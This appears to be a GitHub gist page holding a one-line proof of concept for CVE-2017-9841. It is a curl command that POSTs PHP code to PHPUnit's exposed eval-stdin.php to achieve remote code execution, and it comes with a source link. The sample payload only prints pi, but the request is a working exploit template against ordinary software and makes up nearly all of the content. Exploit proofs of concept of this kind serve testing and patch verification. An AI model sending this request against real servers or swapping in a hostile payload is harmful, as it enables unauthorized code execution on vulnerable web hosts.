Skip to content

Instantly share code, notes, and snippets.

@AssassinUKG

AssassinUKG/gist:9f150ee3da9d9a9e421635876859a26d

Forked from yassineaboukir/gist:1501de6f60dce148824d3001e83fb263
Created February 19, 2022 21:09
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
Star You must be signed in to star a gist
Embed
What would you like to do?
Learn more about clone URLs
Download ZIP
PHPunit RCE PoC (CVE-2017-9841)
Raw
gistfile1.txt
$ curl --data "<?php echo(pi());" http://localhost:8888/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
Source: http://web.archive.org/web/20170701212357/http://phpunit.vulnbusters.com/
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment